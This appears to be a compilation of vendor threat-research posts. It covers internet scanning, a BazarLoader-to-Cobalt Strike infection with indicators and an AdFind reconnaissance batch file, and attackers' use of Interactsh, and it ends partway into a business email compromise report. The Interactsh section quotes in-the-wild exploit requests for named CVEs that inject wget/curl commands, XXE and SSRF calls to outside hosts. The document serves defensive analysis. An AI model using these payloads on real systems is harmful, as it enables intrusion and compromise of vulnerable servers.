Figure 5 shows the number of days each scanner IP was observed. When a scanner IP appears on only one day, this indicates that the scanner never reused the same IP in the past four months. A scanner that appears on all 121 days indicates the scanner uses a static IP to scan the Internet daily. Overall, 64% of the scanner IPs appeared only once in the past four months, and 0.15% appeared daily. We published a subset of the IPs that we observed daily. These IPs scanned the ten most targeted ports (Figures 3-4) in the past 90 days.

Conclusion

Network scanning activities are like background noise on the Internet. They are prevalent but not targeted. The main goal is to reach as many hosts as possible and identify the active services on those hosts. The scanning traffic typically is not malicious and incurs minimal bandwidth. However, cybercriminals can use the scanning results to identify potential victims. It takes only a few minutes for attackers to discover a newly exposed service on the Internet. If the service has insecure configurations or known vulnerabilities, attackers can compromise it in a few seconds.

As most of these scanner IPs are dynamic (64%), it is difficult to track or block scanning traffic. However, good cyber hygiene can effectively mitigate the threats from these scanners. We recommend the following best practices:

  • Minimize exposure to the Internet. Most of the top 20 services in Figure 3 shouldn't be exposed to the entire Internet.
  • Use application firewalls to protect internet-facing services such as HTTP/HTTPs.
  • Use an attack surface management service such as Cortex Xpanse to monitor exposed infrastructure.

Case Study: From BazarLoader to Network Reconnaissance

Executive Summary

BazarLoader is Windows-based malware spread through various methods involving email. These infections provide backdoor access that criminals use to determine whether the host is part of an Active Directory (AD) environment. If so, criminals deploy Cobalt Strike and perform reconnaissance to map the network. If the results indicate a high-value target, criminals attempt lateral movement and will often deploy ransomware like Conti or Ryuk.

This blog reviews a recent BazarLoader infection, how it led to Cobalt Strike, and how Cobalt Strike led to network reconnaissance. If you discover similar activity within your network, you could be a target for ransomware.

Organizations with decent spam filtering, proper system administration and up-to-date Windows hosts have a much lower risk of infection. Palo Alto Networks customers are further protected from this threat. Our Threat Prevention security subscription for the Next-Generation Firewall detects the BazarLoader sample from this infection and similar samples. Endpoint detection like Cortex XDR can prevent Cobalt Strike activity and criminal access to your network.

Distribution Methods for BazarLoader

During summer 2021, different campaigns distributed BazarLoader malware using emails. From late July through mid-August 2021, the majority of BazarLoader samples were spread through three campaigns.

The BazarCall campaign pushed BazarLoader using emails for initial contact and call centers to guide potential victims to infect their computers. By early July, a copyright violation-themed campaign using ZIP archives named Stolen Images Evidence.zip also began pushing BazarLoader. By late July, a long-running campaign known as TA551 (Shathak) started pushing BazarLoader through English-language emails.

In addition to those three major campaigns, we discovered at least one example of BazarLoader distributed through an Excel spreadsheet of undetermined origin. Our case study reviews an infection generated using this example on Aug. 19, 2021.

Chain of events from BazarLoader infection on Aug. 19, 2021. Excel file with .xlsb file extension, enable macros, web traffic for BazarLoader, BazarLoader, Bazar C2 traffic, Cobalt Strike, Cobalt Strike traffic, ADfind and batch file, Cobalt Strike and Bazar C2 traffic continues
Figure 1. Chain of events from BazarLoader infection on Aug. 19, 2021.

Malicious Excel Spreadsheet

The malicious Excel spreadsheet was discovered on Wednesday, Aug. 18, 2021, and it has a last modified date of Tuesday, Aug. 17. The filename had an .xlsb file extension. This file has macros designed to infect a vulnerable Windows host with BazarLoader. Figure 2 shows a screenshot of the Excel file.

Though the DocuSign logo appears in Figure 2, this Excel template was created by a threat actor trying to instill confidence by taking advantage of the DocuSign brand name and image. Various threat actors use this and other DocuSign-themed images on a near-daily basis. DocuSign is aware of this ongoing threat and provides guidelines on how to handle these types of malicious files.

A malicious Excel template that attempts to instill confidence by taking advantage of the DocuSign brand name and image.
Figure 2. Screenshot of the malicious Excel spreadsheet.

After enabling malicious macros on a vulnerable Windows host, the spreadsheet presented a new tab for a page with fake invoice information, as shown below in Figure 3.

A fake invoice that appears on a malicious Excel spreadsheet. The red arrow indicates a new tab that appears after enabling macros.
Figure 3. Excel spreadsheet presented a fake invoice after enabling macros.

As it presented the fake invoice page, the spreadsheet’s macro code had already retrieved a malicious binary for BazarLoader.

BazarLoader Binary

The spreadsheet’s macro code retrieved a malicious Dynamic Link Library (DLL) file for BazarLoader from the following URL:

hxxps://pawevi[.]com/lch5.dll

As shown below in Figure 4, the DLL was saved to the victim’s home directory at C:\Users\[username]\tru.dll. It ran using regsvr32.exe.

BazarLoader DLL is saved to the infected user's home directory. The black arrow indicates where it appears in the screenshot.
Figure 4. BazarLoader DLL saved to the infected user’s home directory.

The BazarLoader DLL was immediately copied to another location and made persistent through the Windows registry, as shown below in Figure 5.

BazarLoader DLL persistent on the infected host, as shown in the screenshot.
Figure 5. Location and Windows registry update for persistent BazarLoader DLL.

As seen in Figure 5, the filename changed from tru.dll to kibuyuink.exe, even though it remained a DLL and still required regsvr32.exe to run. Changing the filename extension is a common tactic seen in various malware infections.

Bazar C2 Traffic

This example of BazarLoader generated command and control (C2) activity, retrieving BazarBackdoor using HTTPS traffic from 104.248.174[.]225 over TCP port 443. Then BazarBackdoor generated C2 activity using HTTPS traffic to 104.248.166[.]170 over TCP port 443. In Figure 6, we refer to this combined C2 activity as Bazar C2 traffic.

Traffic from the BazarLoader infection filtered in Wireshark. One black arrow indicates the section that represents Bazar C2 traffic. Another arrow indicates traffic for BazarLoader DLL.
Figure 6. Traffic from the infection filtered in Wireshark.

This example of Bazar C2 activity generates traffic to legitimate domains. This activity is not inherently malicious on its own. Various malware families generate similar traffic as a connectivity check or to ensure an infected Windows host has continued internet access.

Cobalt Strike Activity

Approximately 41 minutes after the initial BazarLoader infection, our infected Windows host started generating Cobalt Strike activity using HTTPS traffic to gojihu[.]com and yuxicu[.]com, as shown below in Figure 7.

Wireshark activity. The black arrows indicate where the Cobalt Strike activity begins.
Figure 7. Wireshark showing when the Cobalt Strike activity began.

In this case, a Cobalt Strike DLL file was sent through Bazar C2 traffic and saved to the infected Windows host under the user’s AppData\Roaming directory. Figure 8 shows the Cobalt Strike DLL running on the infected machine.

Cobalt Strike started approximately 43 minutes after the BazarLoader infection, as illustrated in these screenshots from Process Hacker.
Figure 8. Cobalt Strike activity shown in Process Hacker.

Cobalt Strike leads to reconnaissance of an infected host’s environment. In our lab environments, this reconnaissance activity can start within a few minutes after Cobalt Strike traffic first appears.

Reconnaissance Activity

In our case study, approximately two minutes after Cobalt Strike activity started, a tool to enumerate an AD environment appeared on the infected host at C:\ProgramData\AdFind.exe. This tool has been used by criminal groups to gather information from an AD environment. AdFind is a command line tool, and an associated batch file was used to run the tool in our case study.

Figure 9 shows the location of AdFind, the associated batch file adf.bat and the results of its search saved in seven text files.

Network enumeration after Cobalt Strike.
Figure 9. AdFind.exe, the batch file and search results saved to text files.

Figure 10 shows commands used in the adf.bat file that run AdFind.exe.

Commands used for AdFind.exe, displayed in a screenshot of Notepad.
Figure 10. Commands used for AdFind.exe.

These commands reveal the users, computers, file shares and other information from a targeted AD environment.

Our example did not involve a high-value target, and the environment was wiped within two or three hours after the initial infection. In this example, no follow-up ransomware was sent after the reconnaissance.

Conclusion

This case study reveals one example of an initial malware infection moving to Cobalt Strike, followed by reconnaissance activity. When attackers use Cobalt Strike, they can also perform other types of reconnaissance in an AD environment.

If the AD environment is a high-value target, the attacker’s next step is lateral movement and gaining access to the domain controller and other servers within the network.

This is a common pattern seen before attackers hit an organization with ransomware.

Organizations with decent spam filtering, proper system administration and up-to-date Windows hosts have a much lower risk of infection. Palo Alto Networks customers are further protected from this threat. Our Threat Prevention security subscription for the Next-Generation Firewall detects this and similar BazarLoader samples. Endpoint detection like Cortex XDR can prevent Cobalt Strike activity and criminal access to your network.

Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

Excel file with macros for BazarLoader, SHA256 hash:
8662d511c7f1bef3a6e4f6d72965760345b57ddf0de5d3e6eae4e610216a39c1
File size: 332,087 bytes
File name: Documents new.xlsb

Malicious DLL for BazarLoader retrieved by above Excel macro, SHA256 hash: caa03c25583ea24f566c2800986def73ca13458da6f9e888658f393d1d340ba1
File size: 459,776 bytes
Online location: hxxps://pawevi[.]com/lch5.dll
Initial saved location: C:\Users\[username]\tru.dll
Final location: C:\Users\[username]\AppData\Local\Temp\Damp\kibuyuink.exe
Run method: regsvr32.exe /s [filename]

Malicious DLL for Cobalt Strike, SHA256 hash: 73b9d1f8e2234ef0902fca1b2427cbef756f2725f288f19edbdedf03c4cadab0
File size: 443,904 bytes
File location: C:\Users\[username]\AppData\Roaming\nubqabmlkp.iowd
Run method: rundll32.exe [filename],Entrypoint

ADfind command-line tool for enumerating AD environment, SHA256 hash: b1102ed4bca6dae6f2f498ade2f73f76af527fa803f0e0b46e100d4cf5150682
File size: 1,394,176 bytes
File location: C:\ProgramData\AdFind.exe

Batch file to run ADfind, SHA256 hash: 1e7737a57552b0b32356f5e54dd84a9ae85bb3acff05ef5d52aabaa996282dfb
File size: 385 bytes
File location: C:\ProgramData\adf.bat

Contents of adf.bat:

adfind.exe -f "(objectcategory=person)" > ad_users.txt
adfind.exe -f "objectcategory=computer" > ad_computers.txt
adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt
adfind.exe -sc trustdmp > trustdmp.txt
adfind.exe -subnets -f (objectCategory=subnet)> subnets.txt
adfind.exe -f "(objectcategory=group)" > ad_group.txt
adfind.exe -gcb -sc trustdmp > trustdmp.txt

Additional Resources

BazarCall Method: Call Centers Help Spread BazarLoader Malware – Unit 42, Palo Alto Networks
TA551 BazarLoader to Cobalt Strike – Internet Storm Center
“Stolen Images Evidence” BazarLoader to Cobalt Strike – @Unit42_Intel
“Stolen Images Evidence” BazarLoader to Cobalt Strike – malware-traffic-analysis.net
Stolen Images Evidence” BazarLoader to Cobalt Strike to PrintNightmare – @Unit42_Intel
BazarLoader to Cobalt Strike – @Unit42_Intel
BazarLoader to Cobalt Strike to Anchor malware – Internet Storm Center
TA551 BazarLoader to Cobalt Strike – malware-traffic-analysis.net

Attackers Are Taking Advantage of the Open-Source Service Interactsh for Malicious Purposes

Executive Summary

Recently, Unit 42 has observed active exploits related to an open-source service called Interactsh. This tool can generate specific domain names to help its users test whether an exploit is successful. It can be used by researchers – but also by attackers – to validate vulnerabilities via real-time monitoring on the trace path for the domain. Researchers creating a proof of concept (PoC) for an exploit can insert Interactsh to check whether the PoC is working, but the service could also be used by attackers who want to be sure an exploit is working.

This blog will first introduce the Interactsh tool and how researchers or attackers can leverage it to perform vulnerability validation. We then describe some of the many exploits in the wild leveraging this tool, and we rank the exploits we’ve observed by popularity. In addition, we analyze Interactsh activity distribution in terms of dates and location. Lastly, we have included information about the malicious payloads for your reference.

Customers with Palo Alto Networks Next-Generation Firewall are protected against benign append attacks that use Interactsh.

Interactsh Tool

Unit 42 researchers have been actively monitoring malicious activities in the wild[1][2]. Starting mid-April 2021, we noticed some exploit attempts with the same domain name but different subdomains in the malicious payload. After investigation, we found that the source is a tool that can generate specific URLs for testing on DNS queries and HTTP attempts. This tool became publicly available on April 16, 2021, and we observed the first attempts to abuse it soon after, on April 18, 2021.

Interactsh's GitHub page describes "an Open-Source Solution for Out of band Data Extraction, A tool designed to detect bugs that cause external interactions, For example - Blind SQLi, Blind CMDi, SSRF, etc."
Figure 1. Interactsh’s GitHub Page for its open-source tool.

Figure 1 shows the GitHub page for the tool, stating that “Interactsh is an Open-Source Solution for Out of band Data Extraction, A tool designed to detect bugs that cause external interactions.” In the following experiment, we interact with the web UI, which is easily found by doing a web search on “interact project discovery.” When a user accesses the page, the web UI randomly generates an Interactsh link:

C4mqgxkyedf0000ar3d0gnkmaqayyyyyb[.]interact[.]sh

We interact with an Interactsh URL using a browser to check the query trace with the Interactsh UI.
Figure 2. Example of using Interactsh through the Web UI.

We interact with this URL using a browser to check the query trace with the Interactsh UI, as shown in Figure 2. The UI shows the DNS query records and HTTP request for the URL, which means we successfully accessed C4mqgxkyedf0000ar3d0gnkmaqayyyyyb[.]interact[.]sh. In addition, the URL can also be used in the command line if the interactsh-client is installed.

The Payload Interaction

Attackers and researchers can use this tool to test whether an exploit has been successful. Figure 3 shows such an example.

The tool can be used to test whether an exploit has been successful. The screenshot shows an example.
Figure 3. Example of using Interactsh.

We picked an exploit attempt which used the Interactsh tool – in this case, a Generic IoT Device Remote Command Execution Vulnerability. The attacker sends an HTTP post request and passes a command by key parameter in the post body. Here a wget command was used to access a command and control (C2) server, which was created via the Interactsh tool. By watching whether the C2 server receives the request, it can be determined whether this exploit was successful.

Exploits Leveraging Interactsh

This tool has already been actively used through ISP and company networks as early as April 18. We find that there are a lot of simple command injections through networks, which are related to specific CVEs. We observed a huge number of attempts, sent from a group of IP addresses and followed by the same URL, which do not seem to be a research project but rather a scanning event.

CVE Number Severity Category Hit Counts
CVE-2017-9506 Medium Server-Side Request Forgery (SSRF) 1,132
CVE-2017-12629 Critical Remote Code Execution 663
CVE-2019-2767 High Authentication Bypass (Insert Data) 192
CVE-2021-33544 High Remote Code Execution 163
CVE-2021-32819 High Remote Code Execution 51
CVE-2012-1301 Critical Server-Side Request Forgery (SSRF) 13
CVE-2018-1000600 High Server-Side Request Forgery (SSRF) 11
CVE-2021-27905 Critical Server-Side Request Forgery (SSRF) 9
CVE-2020-28188 Critical Remote Code Execution 7
CVE-2018-15517 High Server-Side Request Forgery (SSRF) 6
CVE-2009-4223 N/A PHP Remote File Inclusion  5
CVE-2019-18394 Critical Server-Side Request Forgery (SSRF) 5
CVE-2021-27886 Critical Remote Code Execution 3
CVE-2020-13379 High Server-Side Request Forgery (SSRF) 2

Table 1. Interactsh exploit hit ranking by CVEs.

We collected data from URL Filtering with PAN-DB from March 7-Sept. 7 and recorded around 32,200 Interactsh hits. Focusing on vulnerability/exploit attempts, table 1 ranks the CVEs the observed traffic most commonly attempted to exploit. This means the actors behind the traffic are using Interactsh API tools to test whether their exploit attempts succeed. Each unique Interactsh URL can be thought of as a C2. Most of the exploits for the same CVEs are using multiple randomly generated Interactsh domains and scanning on different host sides.

CVE Number Severity Category
CVE-2021-31755 Critical Remote Code Execution
CVE-2020-28871 Critical Remote Code Execution
CVE-2020-25223 Critical Remote Code Execution
CVE-2020-8813 High Remote Code Execution
CVE-2020-7247 Critical Remote Code Execution
CVE-2020-28188, CVE-2020-15568, CVE-2018-13354, CVE-2018-13338 Critical Remote Code Execution
CVE-2019-2616 High Authentication Bypass (Insert Data)
CVE-2018-16167 High Remote Code Execution
CVE-2018-14839 Critical Remote Code Execution
CVE-2016-1555 Critical Remote Code Execution

Table 2. Other CVEs leveraged by Interactsh.

From our soak site (an internal network monitoring tool), we also captured some Interactsh activity, shown in Table 2, which could raise awareness of active exploits attempts.

Interactsh Activity Distribution

We also found several DNS queries using Interactsh from Cortex Xpanse data. We found three suspicious IP addresses.

82[.]112[.]184[.]197 is flagged as potential malware in VirusTotal, and 138[.]68[.]184[.]23 is a phishing site. We also found 82[.]112[.]184[.]206, flagged malicious. All three of these IP addresses have a large volume of Interactsh activity.

We analyzed all the exploits we observed that used the Interactsh tool, starting from the time it went public. Though the tool has been available online since April, we noted increasing usage of the tool in June.

Exploits observed that used the Interactsh tool, starting from the time it went public in April.
Figure 4. Exploits activity distribution using the Interactsh tool.

Figure 5 shows the distribution of Interactsh activity in terms of more specific dates. Events shown on the chart could be an exploit or a single scanning action. The activity shown in Figure 5 corresponds with Figure 4, which shows increasing traffic in June.

Exploits observed that used the Interactsh tool, starting from the time it went public in April, charted in terms of more granular date ranges.
Figure 5. Interactsh activity distribution.

Figure 6 shows DNS queries with the Interactsh link, distributed by location. The United Kingdom ranks No. 1, followed by Ecuador and the U.S., which rank No. 2 and No. 3.

Observed Interactsh activity plotted in terms of location.
Figure 6. Interactsh activity location distribution.

Conclusion

Even though Interactsh can be used for legitimate purposes, it is widely used by attackers to test malicious traffic. Its testing traffic therefore could be followed by a series of exploits. The trend of using third-party open-source tools to test exploits has become more popular in the last few years. It is convenient for attackers to use open-source tools, and it is hard for defenders to simply block this traffic by services/IP/server etc. To help organizations defend against malicious exploits that originate this way, we need to raise awareness about the tool.

Palo Alto Networks Next-Generation Firewall customers who use Threat Prevention, Advanced URL Filtering, DNS Security and WildFire security subscriptions are protected against benign append attacks that use Interactsh. DNS Security has marked interact[.]sh as a malicious site.

We also recommend the following actions:

  • Run a Best Practice Assessment to identify where your configuration could be altered to improve your security posture.
  • Continuously update your Next-Generation Firewalls with the latest Palo Alto Networks Threat Prevention content (e.g. versions 8467 and above).

Use Case Examples: Exploits Leveraging Interactsh

hxxp[:]//ip-addr/uapi-cgi/certmngr[.]cgi?action=createselfcert&local=anything&country=aa&state=$(wget hxxp[:]//c44s021vkr17popa98agcrrhyneyyyd7c[.]interact.sh)&organization=anything&organizationunit=anything&commonname=anything&days=1&type=anything
(CVE-2021-33544)

 

hxxp[:]//ip-addr/securityrealm/user/admin/descriptorbyname/org.jenkinsci.plugins.github.config[.]githubtokencredentialscreator/createtokenbypassword?apiurl=hxxp[:]//c4b14uqjfg5t9muoh3pgcrca3hoyfrbcr[.]interact.sh
(CVE-2018-1000600)

 

hxxp[:]//ip-addr/xmlpserver/convert?xml=<?xml+version="1.0"+?><!doctype+r+[<!element+r+any+><!entity+%+sp+system+"hxxp[:]//c38r5fq23aksk1ma690gcdmc6doyyahck[.]interact.sh/xxe.xml">%sp;%param1;]>&_xf=excel&_xl=123&template=123
(CVE-2019-2767)

 

hxxp[:]//ip-addr/solr/select?qt=/config#&&shards=127.0.0.1:8984/solq&stream.body={"add-listener":{"event":"postcommit","name":"nuclei","class":"solr.runexecutablelistener","exe":"sh","dir":"/bin/","args":["-c","$@|sh",".","echo","nslookup","$(whoami).c38at9vk6tb1j2mah7i0cdeca5yyybucs[.]interact.sh"]}}&wt=json&isshard=true&q=apple

 

hxxp[:]//ip-addr/search?q={!xmlparser v="<!doctype a system hxxp[:]//c3167tzyedf0000sfc2ggbo7zoeyyyyyp[.]interact.sh/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true""><a></a>"}
(CVE-2017-12629)

 

hxxp[:]//ip-addr/solr/db/replication?command=fetchindex&masterurl=hxxp[:]//c3167tzyedf0000sfc2ggboug8cyyyyyb[.]interact.sh:80/xxxx&wt=json&httpbasicauthuser=aaa&httpbasicauthpassword=bbb
(CVE-2021-27905)

 

hxxp[:]//ip-addr/?defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('curl c32s61pbq16mga0vler0cdnhgbayyyyyn[.]interact.sh');
(CVE-2021-32819)

 

hxxp[:]//ip-addr/plugins/servlet/oauth/users/icon-uri?consumeruri=hxxp[:]//c33mg9s2ndhfbpsj7legcddsomayyyypg[.]interact.sh
(CVE-2017-9506)

 

hxxp[:]//ip-addr/index.php/system/mailconnect/host/c4b14uqjfg5t9muoh3pgcrqz7oyykqcuq[.]interact.sh/port/80/secure
(CVE-2018-15517)

 

hxxp[:]//ip-addr/api/container/command?container=&command=;curl hxxp[:]//c44h3el4f1mfla5idm10crrtxqyyyjpp4[.]interact.sh
(CVE-2021-27886)

 

hxxp[:]//ip-addr/avatar/test?d=redirect.rhynorater.com?;/bp.blogspot.com/c3jrcoqkfbhrf4rcsmr0cdu5taayynuze[.]interact.sh
(CVE-2020-13379)

 

hxxp[:]//ip-addr/adm/krgourl.php?document_root=hxxp[:]//c45luqovk0lir2vett1gcrf4iyayy468g[.]interact.sh
(CVE-2009-4223)

 

hxxp[:]//ip-addr/umbraco/feedproxy.aspx?url=hxxp[:]//c3qsfdg4hl24te8g7rc0cd9erqyygmui6[.]interact.sh
(CVE-2012-1301)

 

hxxp[:]//ip-addr/getfavicon?host=hxxp[:]//c3uhg4emp8vt8fqq370gcd6th6ayyy4b6[.]interact.sh
(CVE-2019-18394)

 

 (CVE-2020-7247)

(CVE-2020-7247)

 

 (CVE-2018-16167)

(CVE-2018-16167)

 

(CVE-2021-31755)

(CVE-2021-31755)

 

 (CVE-2016-1555)

(CVE-2016-1555)

 

 (CVE-2019-2616)

(CVE-2019-2616)

 

 (CVE-2018-14839)

(CVE-2018-14839)

 

(CVE-2020-8813)

(CVE-2020-8813)

 

(CVE-2020-28188 CVE-2018-13354 CVE-2018-13338 CVE-2020-15568)

(CVE-2020-28188 CVE-2018-13354 CVE-2018-13338 CVE-2020-15568)

 

 (CVE-2020-28871)

(CVE-2020-28871)

 

 (CVE-2020-25223)

(CVE-2020-25223)

 

hxxp[:]//ip-addr/rest/sharelinks/1.0/link?url=hxxps[:]//c37e7sraa1psb1c2nso0cd8o9eyyyn94w[.]interact.sh

hxxp[:]//ip-addr/search.php?search=";wget+hxxp[:]//c4b14uqjfg5t9muoh3pgcrcwtheyrjn8k[.]interact.sh';"

hxxp[:]//ip-addr/index.php?plot=;wget hxxp[:]//c4bfibtmh0e03d1t5u90crcb9fayzf9dr[.]interact.sh

SilverTerrier – Nigerian Business Email Compromise

Executive Summary

Business email compromise (BEC) remains the most common and most costly threat facing our customers. The year 2020 marked the fifth year in which these schemes held the top position on the annual FBI Internet Crime Complaint Center (IC3) report. Over half a decade, global losses ballooned from $360 million in 2016 to a staggering $1.8 billion in 2020. Put in perspective, the annual losses associated with BEC schemes now exceed the gross domestic product (GDP) of 24 countries. Of greater concern, the combined losses in the three year period 2018-2020 are now estimated to be in excess of $4.93 billion worldwide. This threat shows no sign of slowing down, as losses increased 29% last year to an average of $96,372 per victim.

Over the past half decade, Palo Alto Networks Unit 42 has actively monitored the evolution of this threat with a unique focus on threat actors based in Nigeria, which we track under the name “SilverTerrier.” While BEC is a global threat, our focus on Nigerian actors provides insights into one of the largest subcultures of this malign activity, given the country’s consistent ranking as one of the top hotspots for cybercrime. We have compiled one of the most comprehensive data sets across the cybersecurity industry, with over 170,700 samples of malware from over 2.26 million phishing attacks, linked to roughly 540 distinct clusters of BEC activity.

Since 2016, we have witnessed several high profile arrests of BEC actors, including two arrests of actors accused of stealing $24 million and $60 million respectively. Simultaneously, Nigeria has demonstrated significant growth and outcomes in terms of driving reductions in how brazenly these actors operate. Leveraging our data set, we continue to actively partner with and support industry, government and international law enforcement efforts to combat this threat.

This blog provides a brief history of BEC, examines the evolution of SilverTerrier actors over time, identifies recent malware trends, describes efforts taken to date to combat this activity and provides recommendations to help organizations protect against these threats.

Palo Alto Networks customers are protected against the types of BEC threats discussed in this blog by products including Cortex XDR and the WildFire, Threat Prevention, AutoFocus and URL Filtering subscription services for the Next-Generation Firewall.

Defining Business Email Compromise

Before describing the evolution of BEC, it is important to establish a baseline definition of the threat. Given its name, many often mistakenly assume BEC encompasses any and all instances of computer intrusions where an email system is compromised. However, this definition could easily apply to almost any computer incident, ranging from supply chain attacks to ransomware, and is therefore far too broad.

Conversely, law enforcement and the cybersecurity industry rely on a much narrower definition. Specifically, BEC is considered a category of threat activity involving sophisticated scams which target legitimate business email accounts through social engineering or computer intrusion activities. Once businesses are compromised, cybercriminals leverage their access to initiate or redirect the transfer of business funds for personal gain. The remainder of this blog applies this narrow definition of threat activity.

Recent History

The term “business email compromise'' was first coined in 2013 when the FBI began tracking a nascent financial cyberthreat. At the time, BEC was simply viewed as a new cybercrime technique joining the ranks of other unsophisticated schemes, for example, the notorious “Nigerian Prince” scams. Yet, with the benefit of time, we have come to see that BEC was a cultural and technological evolution for the cybercrime ecosystem. The internet experienced unprecedented growth in a compressed time frame (2009-2013), much of which continues today. However, what is often overlooked is that the most significant growth during that period of time occurred in developing regions of the world. African nations, in particular, grew at the fastest rate with 27% annual growth, and by the end of 2013, an estimated 16% of the African population was online.

Concurrently, we also witnessed a proliferation of commodity information stealers, remote access trojans (RATs) and penetration testing tools. These capabilities were supplemented with the emergence of cyber certification programs and educational resources, both online and in universities, for how to use these types of tools. It thus becomes readily apparent how actors involved in traditional forms of paper-based mail fraud (Nigerian Prince/advanced fee scams), originating from developing nations, would naturally evolve their tactics to the internet using the newly available tools at their disposal. From a criminal standpoint, it was no longer effective or efficient to send thousands of paper letters through the international mail system and wait for a response. By the end of 2013, they could communicate in real time over the internet and simply send victims malicious files, which enabled their desired criminal outcomes.

Unit 42 has been following this evolution for the past six years. In 2014 we released our first report, 419 Evolution, documenting one the first known cases of Nigerians deploying malware for financial gain. In 2016, we performed focused research on the threat and quickly discovered it had grown to over one hundred different actors or groups. After assigning the code name “SilverTerrier” to Nigerian cyber actors, we detailed the tremendous growth of both actors and malware adoption in The Next Evolution of Nigerian Cybercrime.

In 2017, the threat continued to expand to over 300 actors or groups, and we began to track specific malware tool trends in our annual report, The Rise of Nigerian Business Email Compromise. Our 2018 report, “SilverTerrier: 2018 Nigerian Business Email Compromise Update,” documented that the number of actors surpassed 400, as the number of attempted attacks against our customers climbed to an average of 28,227 per month. Additionally, we began to observe a shift away from simple information stealers as more actors started to embrace RATs, which afforded greater capabilities.

By the end of 2019, this shift in tools had progressed to an established trend, as informational stealer usage declined steadily, while RAT adoption grew an impressive 140% year over year. Our annual report in 2019 also highlighted the emergence of the first set of Nigerian tool developers natively developing their own RATs and crypting tools for sale to their peers.

Finally, as we entered 2020 and began to feel the effects from the global COVID-19 pandemic, we documented yet another milestone as threat groups paused their traditional invoice- and package delivery-related phishing campaigns, in favor of pandemic-related themes. In doing so, BEC actors once again demonstrated their ability to adapt to the ever-changing environment in which they operate.

Actors

What started as a small cluster of activity in 2014 has grown significantly in scope and scale over the past seven years. To date, we have identified 540 distinct clusters of activity which we associate with Nigerian actors and groups. Seeking to understand these actors and their behaviors better, in 2016 we worked to identify commonalities among the actors. At the time, we thought that our efforts would confirm existing stereotypes – that these actors were simply young, unorganized script kiddies whose success was based more on luck than skill. Throughout our research we instead found that the actors were:

  • Living Comfortably – The actors were predominantly from the cities of Owerri, Lagos, Enugu, Warri and Port Harcourt in the southwest/coastal region of Nigeria. The majority stayed close to friends and family, where they lived quite comfortably based on the favorable exchange rate between foreign currency and the Nigerian naira. Their social media accounts often flaunted their criminal successes with pictures of foreign currency, huge homes and luxury vehicles such as Range Rovers. Additionally, some of the more successful actors traveled abroad to places like the United Kingdom and Malaysia, where they quickly reestablished their criminal operations.
  • Educated – Many of the actors had attended technical secondary school and went on to obtain undergraduate degrees from federal or regionally aligned technical university programs.
  • Adults – The actors ranged in age from late teenage years to adults in their mid-40s, thus representing a wide range of generations participating in the criminal activity. The older actors were often found to have evolved to BEC activity from other legacy forms of advanced fee scams, while the younger actors graduating with fresh university degrees began their criminal careers by jumping straight into malware campaigns.
  • Not Hiding – While a small subset of the actors went to great lengths to conceal their identities, the culture within Nigeria at the time allowed for a permissive environment for these types of illicit activities. As a result, the actors frequently applied little effort toward maintaining anonymity and often combined fake names or aliases with local street addresses, phone numbers and personal email addresses when registering their malicious domains. In doing so, we found that it was often easy to link these users to their social media and networking accounts on platforms such as Facebook, Google+, LinkedIn, Twitter, Skype, Yahoo Messenger and so on.
  • Becoming Organized – Early in the evolution of BEC, we saw that small clusters of actors were beginning to communicate, cooperate, and share tools and techniques. Most commonly, this took the form of an experienced actor standing up malware infrastructure for their friends or younger protégés. Alternatively, we saw actors sponsoring other actors for access to hacking forums, but while there were occasionally large groups of actors working together, such cases were believed to be rare.

Unit 42 is revisiting this historical assessment in 2021, and our analysis provides unique insights into how these actors have evolved over time. By and large, the actors are still living comfortably. Those who were most active in 2016 have grown up; they are now married, have children and have launched legitimate business ventures (hotels, clubs, technology companies, etc.) that were potentially funded through their previous criminal exploits. For those who chose to depart Nigeria, we observed relocation to additional countries in the Middle East, such as Turkey and the UAE.

The majority of the actors continue to be well educated, having completed both secondary and university programs. As these actors age, we see a notable decline in criminal activity as actors reach their mid to late 30s. While the exact reason is difficult to pinpoint, we believe that the decline may be due in part to actor maturation, including an interest in reducing risks as they start families, or simply that they have earned enough through their criminal exploits that they wish to pivot to legitimate business ventures. Conversely, it's also worth noting that we rarely see young children or teenagers involved in this type of malicious activity. New actors entering the space tend to be in their late teens and early 20s. On the younger side, technical skills and education, more than anything, remain a firm barrier to entry for this type of criminal activity.

Half a decade of change in Nigeria, as well as improved global awareness of the BEC threat, have had a positive effect in driving reductions in how brazenly these actors operate. The Nigeria Police Force (NFP) and Economic and Financial Crimes Commission (EFCC) have demonstrated significant growth and outcomes in their efforts to combat this threat and routinely post pictures of the actors they arrest on Twitter accounts. Aiding their efforts, organizations like INTERPOL, the FBI and the Australian Federal Police (AFP) have worked to collaborate internationally to enable global prosecution efforts. Concurrently, in the technology space, there have been mixed developments as collaborative platforms like Yahoo Messenger and Google+ were retired, while privacy improvements across social media platforms have impacted attribution efforts. As for the actors themselves, they have faced growing awareness of the risks associated with their criminal activity as the culture in Nigeria has evolved. While social media accounts may still flaunt their wealth, today it is far less common to see the posts openly discussing illegal activities, pictures of foreign currency or other content that may draw unwanted law enforcement attention.

However, BEC actors have become far more organized over time. While it remains easy to find actors working as a group, the practice of using one phone number, email address or alias to register malicious infrastructure in support of multiple actors has made it far more time consuming (but not impossible) for cybersecurity and law enforcement organizations to sort out which actors committed specific crimes. Similarly, we continue to find that SilverTerrier actors, regardless of geographical location, are often connected through only a few degrees of separation on social media platforms. To illustrate that case, Figure 1 shows social media connections between over 120 actors.

SilverTerrier actors, regardless of geographical location, are often connected through only a few degrees of separation on social media platforms, as shown in this illustration of social media connections between over 120 actors.
Figure 1. Link analysis of SilverTerrier actors.

Beyond the generalized actor trends identified above, we believe it is helpful to also examine individual actors in order to provide a more comprehensive portrayal of the modern BEC threat actor. Please consider the following examples:

